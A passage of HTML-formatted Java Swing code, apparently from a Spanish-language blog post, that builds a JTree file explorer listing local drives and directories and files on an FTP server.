&lt;/span&gt; &amp;nbsp; &amp;nbsp;for(int i=0;i&amp;lt;sel.getChildCount();i++){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt; &amp;nbsp; &amp;nbsp; DefaultMutableTreeNode nieto=(DefaultMutableTreeNode)sel.getChildAt(i);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt; &amp;nbsp; &amp;nbsp; agregarHijos(nieto);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt; &amp;nbsp; &amp;nbsp;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt; &amp;nbsp; &amp;nbsp;swroot=true;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;}else{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;for(int i=0;i&amp;lt;sel.getChildCount();i++){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt; &amp;nbsp; &amp;nbsp; DefaultMutableTreeNode nieto=(DefaultMutableTreeNode)sel.getChildAt(i);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt; &amp;nbsp; &amp;nbsp; agregarHijos(nieto);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;}catch(NullPointerException npe){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;npe.printStackTrace();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp;});&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp;for(int i=0;i&amp;lt;File.listRoots().length;i++){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; DefaultMutableTreeNode hijo=new DefaultMutableTreeNode(File.listRoots()[i]);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; Raiz.add(hijo);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp;} &amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}else {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;Raiz=new DefaultMutableTreeNode("Raiz");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;modelo=new DefaultTreeModel(Raiz);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;explorador=new JTree(modelo);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;DefaultTreeCellRenderer render=(DefaultTreeCellRenderer)explorador.getCellRenderer();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;render.setLeafIcon(new ImageIcon(this.getClass().getResource("/lib/archivo.png")));&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;render.setOpenIcon(new ImageIcon(this.getClass().getResource("/lib/carpeta.png")));&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;render.setClosedIcon(new ImageIcon(this.getClass().getResource("/lib/carpeta.png")));&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;explorador.addTreeSelectionListener(new TreeSelectionListener(){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void valueChanged(TreeSelectionEvent arg0) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;try{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;DefaultMutableTreeNode seleccionado=(DefaultMutableTreeNode)explorador.getLastSelectedPathComponent();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;DefaultMutableTreeNode se=null;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;if(seleccionado!=null){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;ruta=p.ftp.printWorkingDirectory()+"\\"+seleccionado.getUserObject();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;if(!seleccionado.isLeaf()){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;se=new DefaultMutableTreeNode(seleccionado.getUserObject());&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;ultimoseleccionado=se;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;if(!se.toString().equalsIgnoreCase("Raiz")){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;Raiz.setUserObject(se.getUserObject());&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;Raiz.removeAllChildren();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;modelo.reload();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;listaDirectorios(Raiz);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;}catch(NullPointerException npe){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;npe.printStackTrace();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;} catch (IOException e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;// TODO Auto-generated catch block&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;e.printStackTrace();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp;});&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;add(explorador);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; public void listaDirectorios(DefaultMutableTreeNode padre){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;FTPFile[] ftpFiles;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;try {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;p.ftp.changeWorkingDirectory(padre.toString());&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;ftpFiles = p.ftp.listDirectories();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;for (FTPFile ftpFile : ftpFiles) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;if (ftpFile.getType() == FTPFile.DIRECTORY_TYPE) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp;DefaultMutableTreeNode d=new DefaultMutableTreeNode(ftpFile.getName());&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp;DefaultMutableTreeNode d2=new DefaultMutableTreeNode("De clic en la carpeta");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp;d.add(d2);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp;padre.add(d);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;ftpFiles = p.ftp.listFiles();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;for (FTPFile ftpFile : ftpFiles) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;if (ftpFile.getType() == FTPFile.FILE_TYPE) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp;DefaultMutableTreeNode d=new DefaultMutableTreeNode(ftpFile.getName());&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp;padre.add(d);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} catch (IOException e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;e.printStackTrace();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;explorador.expandRow(0);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ArbolDirectorios.this.updateUI();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;p.repaint();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; public void listaDirectorios(){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;FTPFile[] ftpFiles;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;try {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;ftpFiles = p.ftp.listDirectories();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;for (FTPFile ftpFile : ftpFiles) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;if (ftpFile.getType() == FTPFile.DIRECTORY_TYPE) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp;DefaultMutableTreeNode d=new DefaultMutableTreeNode(ftpFile.getName());&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp;DefaultMutableTreeNode d2=new DefaultMutableTreeNode("De clic en la carpeta");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp;d.add(d2);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp;Raiz.add(d);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;ftpFiles = p.ftp.listFiles();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;for (FTPFile ftpFile : ftpFiles) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;if (ftpFile.getType() == FTPFile.FILE_TYPE) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp;DefaultMutableTreeNode d=new DefaultMutableTreeNode(ftpFile.getName());&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp;Raiz.add(d);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} catch (IOException e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;e.printStackTrace();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;explorador.expandRow(0);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ArbolDirectorios.this.updateUI();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;p.repaint();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; public void agregarHijos(DefaultMutableTreeNode padre){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;if(padre!=Raiz){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp;try{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; File fpadre=obtenerRuta(padre);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; if(fpadre.isDirectory()){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt; &amp;nbsp; if(fpadre.listFiles().length&amp;gt;0){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt; &amp;nbsp; for(int i=0;i&amp;lt;fpadre.list().length;i++){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt; &amp;nbsp; DefaultMutableTreeNode hijo=new DefaultMutableTreeNode(fpadre.list()[i]);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt; &amp;nbsp; padre.add(hijo);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt; &amp;nbsp; } &amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp;}catch(NullPointerException npe){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp; &amp;nbsp;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public File obtenerRuta(DefaultMutableTreeNode p){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;String ruta="";&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp;for(int i=0;i&amp;lt;p.getPath().length-1;i++){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; &amp;nbsp; 